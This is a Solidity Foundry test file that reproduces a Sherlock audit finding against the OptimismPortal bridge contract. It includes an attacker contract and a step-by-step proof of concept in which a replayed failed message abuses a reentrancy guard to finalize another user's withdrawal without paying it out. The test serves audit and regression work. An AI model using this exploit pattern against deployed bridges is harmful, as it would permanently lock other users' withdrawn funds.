OptimismPortal_Sherlock87_Test.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import {Types} from "../libraries/Types.sol";
import {Messenger_Initializer} from "./CommonTest.t.sol";

/// @notice OptimismPortal minimal interface
interface IOptimismPortal {
    function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx) external;
}

/// @notice Attacker
contract AttackContract {
    bool public donotRevert;
    bytes metaData;
    address optimismPortalAddress;

    constructor(address _optimismPortal) {
        optimismPortalAddress = _optimismPortal;
    }

    function disableRevert() public {
        donotRevert = true;
    }

    function setMetaData(Types.WithdrawalTransaction memory _tx) public {
        metaData = abi.encodeWithSelector(IOptimismPortal.finalizeWithdrawalTransaction.selector, _tx);
    }

    function attack() public {
        if (donotRevert) {
            optimismPortalAddress.call(metaData);
        } else {
            revert();
        }
    }
}

/// @notice Test for Sherlock issue #87
/// @dev https://github.com/ethereum-optimism/2023-01-optimism-judging/blob/main/0-system-findings/0-unprocessed/solidity/finalizeWithdrawalTransaction/087.md
contract OptimismPortal_Sherlock87_Test is Messenger_Initializer {
    /// @notice Emitted when a withdrawal is proven successfully.
    event WithdrawalProven(bytes32 indexed withdrawalHash, address indexed from, address indexed to);

    /// @notice An attacker contract
    AttackContract attacker;

    /// @notice Set up the test state (ripped from OptimismPortal tests)
    function setUp() public override {
        super.setUp();

        attacker = new AttackContract(address(op));

        vm.deal(address(op), 0xFFFFFFFF);
    }

    /// @notice Tests whether or not the `finalizeWithdrawalTransaction` function can be called successfully with an amount of gas
    ///         that is **less** than the amount of gas needed to execute the withdrawal transaction.
    function test_finalizeWithdrawalTransaction_gasTooLowBrick_succeeds() public {
        // Relay bob's message from L2 to the L1CrossDomainMessenger
        bytes memory attackMessage = abi.encodeWithSelector(
            L1Messenger.relayMessage.selector,
            0, // nonce
            bob, // sender
            address(attacker), // target,
            0, // value
            1_000_000, // min gas limit
            abi.encodeWithSelector(attacker.attack.selector) // data
        );
        Types.WithdrawalTransaction memory attackTx = Types.WithdrawalTransaction({
            nonce: 0,
            sender: address(L2Messenger),
            target: address(L1Messenger),
            value: 0,
            gasLimit: 1_000_000,
            data: attackMessage
        });
        (
            bytes32 attackStateRoot,
            bytes32 attackStorageRoot,
            bytes32 attackOutputRoot,
            bytes32 attackWithdrawalHash,
            bytes[] memory attackWithdrawalProof
        ) = ffi.getProveWithdrawalTransactionInputs(attackTx);

        // Create a dummy output root proof for the attack transaction.
        Types.OutputRootProof memory attackOutputProof = Types.OutputRootProof({
            version: bytes32(uint256(0)),
            stateRoot: attackStateRoot,
            messagePasserStorageRoot: attackStorageRoot,
            latestBlockhash: bytes32(uint256(0))
        });
        uint256 _proposedBlockNumber = oracle.nextBlockNumber();
        uint256 _proposedOutputIndex = oracle.nextOutputIndex();

        // Configure the oracle to return the output root we've prepared.
        vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1);
        vm.prank(oracle.PROPOSER());
        oracle.proposeL2Output(attackOutputRoot, _proposedBlockNumber, 0, 0);

        vm.expectEmit(true, true, true, true);
        emit WithdrawalProven(attackWithdrawalHash, address(L2Messenger), address(L1Messenger));
        op.proveWithdrawalTransaction(attackTx, _proposedOutputIndex, attackOutputProof, attackWithdrawalProof);

        // Warp past the finalization period for the attacker
        vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1);

        // Attempt to finalize the attacker's withdrawal transaction. The call to `attack()` will revert, but the transaction
        // will be marked as finalized in the OptimismPortal. However, in the L1CrossDomainMessenger, the transaction will
        // be added to the `failedMessages` mapping.
        vm.expectEmit(true, true, false, true);
        emit WithdrawalFinalized(attackWithdrawalHash, true);
        op.finalizeWithdrawalTransaction(attackTx);

        // Set up alice's honest withdrawal transaction
        bytes memory aliceMessage = abi.encodeWithSelector(
            L1Messenger.relayMessage.selector,
            0, // nonce
            alice, // sender
            address(0xbeef), // target,
            100, // value
            1_000_000, // min gas limit
            hex"" // data
        );
        Types.WithdrawalTransaction memory aliceTx = Types.WithdrawalTransaction({
            nonce: 0,
            sender: address(L2Messenger),
            target: address(L1Messenger),
            value: 100,
            gasLimit: 1_000_000,
            data: aliceMessage
        });
        (
            bytes32 aliceStateRoot,
            bytes32 aliceStorageRoot,
            bytes32 aliceOutputRoot,
            bytes32 aliceWithdrawalHash,
            bytes[] memory aliceWithdrawalProof
        ) = ffi.getProveWithdrawalTransactionInputs(aliceTx);

        // Create a dummy output root proof for the alice's transaction.
        Types.OutputRootProof memory aliceOutputProof = Types.OutputRootProof({
            version: bytes32(uint256(0)),
            stateRoot: aliceStateRoot,
            messagePasserStorageRoot: aliceStorageRoot,
            latestBlockhash: bytes32(uint256(0))
        });
        _proposedBlockNumber = oracle.nextBlockNumber();
        _proposedOutputIndex = oracle.nextOutputIndex();

        // Configure the oracle to return the output root we've prepared.
        vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1);
        vm.prank(oracle.PROPOSER());
        oracle.proposeL2Output(aliceOutputRoot, _proposedBlockNumber, 0, 0);

        // Prove alice's honest transaction.
        vm.expectEmit(true, true, true, true);
        emit WithdrawalProven(aliceWithdrawalHash, address(L2Messenger), address(L1Messenger));
        op.proveWithdrawalTransaction(aliceTx, _proposedOutputIndex, aliceOutputProof, aliceWithdrawalProof);

        // Warp past the finalization period for alice's transaction.
        vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1);

        // Set up for our attack on alice's transaction.
        attacker.disableRevert();
        attacker.setMetaData(aliceTx);

        // Attempt to replay bob's failed message AS bob
        // This will now attempt to finalize alice's transaction, which will fail due to the
        // reentrancy guard on the L1CrossDomainMessenger!
        vm.expectEmit(true, true, false, true);
        emit WithdrawalFinalized(aliceWithdrawalHash, false);
        vm.prank(address(bob));
        L1Messenger.relayMessage(
            0, // nonce
            bob, // sender
            address(attacker), // target
            0, // value
            1_000_000, // min gas limit
            abi.encodeWithSelector(attacker.attack.selector) // data
        );

        // Attempt to finalize alice's transaction. This *will fail* due to bob's attack using the reentrancy guard.
        // hoooooly shit
        vm.expectRevert("OptimismPortal: withdrawal has already been finalized");
        op.finalizeWithdrawalTransaction(aliceTx);
    }
}